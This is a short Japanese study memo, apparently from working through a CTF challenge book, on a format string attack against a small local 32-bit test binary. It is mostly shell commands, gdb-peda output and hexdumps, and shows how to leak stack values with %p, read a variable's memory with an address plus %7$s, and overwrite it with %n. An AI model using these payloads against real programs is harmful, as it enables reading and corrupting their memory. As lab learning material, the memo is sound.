セキュリティコンテストチャレンジブック[書式文字列攻撃]
とりあえずメモ。加筆予定
$ gcc -m32 -w -o fsb fsb.c $ ./fsb AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p AAAA0x80,0xf7fbcc20,0xffffd854,(nil),(nil),(nil),0x41414141,0x252c7025,0x70252c70 secret = 0x12345678
secret のアドレスを確認
$2 = (<data variable, no debug info> *) 0x804a028 <secret>
以下より抜粋
$ gdb -q fsb Reading symbols from fsb...(no debugging symbols found)...done. gdb-peda$ b main Breakpoint 1 at 0x80484c0 gdb-peda$ run Starting program: /media/sf_mnt-host/ctfCharrengeBook/fsb [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0xf7fbc000 --> 0x1a6da8 ECX: 0xf027baa4 EDX: 0xffffd7b4 --> 0xf7fbc000 --> 0x1a6da8 ESI: 0x0 EDI: 0x0 EBP: 0xffffd788 --> 0x0 ESP: 0xffffd788 --> 0x0 EIP: 0x80484c0 (<main+3>: and esp,0xfffffff0) [-------------------------------------code-------------------------------------] 0x80484b8 <frame_dummy+40>: jmp 0x8048430 <register_tm_clones> 0x80484bd <main>: push ebp 0x80484be <main+1>: mov ebp,esp => 0x80484c0 <main+3>: and esp,0xfffffff0 0x80484c3 <main+6>: sub esp,0xa0 0x80484c9 <main+12>: mov eax,DWORD PTR [ebp+0xc] 0x80484cc <main+15>: mov DWORD PTR [esp+0xc],eax 0x80484d0 <main+19>: mov eax,gs:0x14 [------------------------------------stack-------------------------------------] 00:0000| esp ebp 0xffffd788 --> 0x0 01:0004| 0xffffd78c --> 0xf7e2ea63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 02:0008| 0xffffd790 --> 0x1 03:0012| 0xffffd794 --> 0xffffd824 --> 0xffffd9b3 ("/media/sf_mnt-h"...) 04:0016| 0xffffd798 --> 0xffffd82c --> 0xffffd9db ("XDG_VTNR=7") 05:0020| 0xffffd79c --> 0xf7feacea (add ebx,0x12316) 06:0024| 0xffffd7a0 --> 0x1 07:0028| 0xffffd7a4 --> 0xffffd824 --> 0xffffd9b3 ("/media/sf_mnt-h"...) [------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value Breakpoint 1, 0x080484c0 in main () gdb-peda$ p secret $1 = 0x12345678 gdb-peda$ p &secret $2 = (<data variable, no debug info> *) 0x804a028 <secret>
$ ./fsb # 7番目の値をcharで表示する(失敗) AAA%7$s zsh: segmentation fault (core dumped) ./fsb
$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb (�xV4 �� secret = 0x12345678
文字化けしたので、hexdump で確認。
$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb | hexdump -C 00000000 28 a0 04 08 78 56 34 12 20 cc fb f7 0a 73 65 63 |(...xV4. ....sec| 00000010 72 65 74 20 3d 20 30 78 31 32 33 34 35 36 37 38 |ret = 0x12345678| 00000020 0a |.| 00000021
メモリの書き換え(%n でprintf で出力した文字数をメモリに書き込む)
$ echo -e '\x28\xa0\x04\x08%7$n' | ./fsb (� secret = 0x4
フォーマット指定子 書き込みバイト数 %n 4バイト %hn 2バイト %hh 1バイト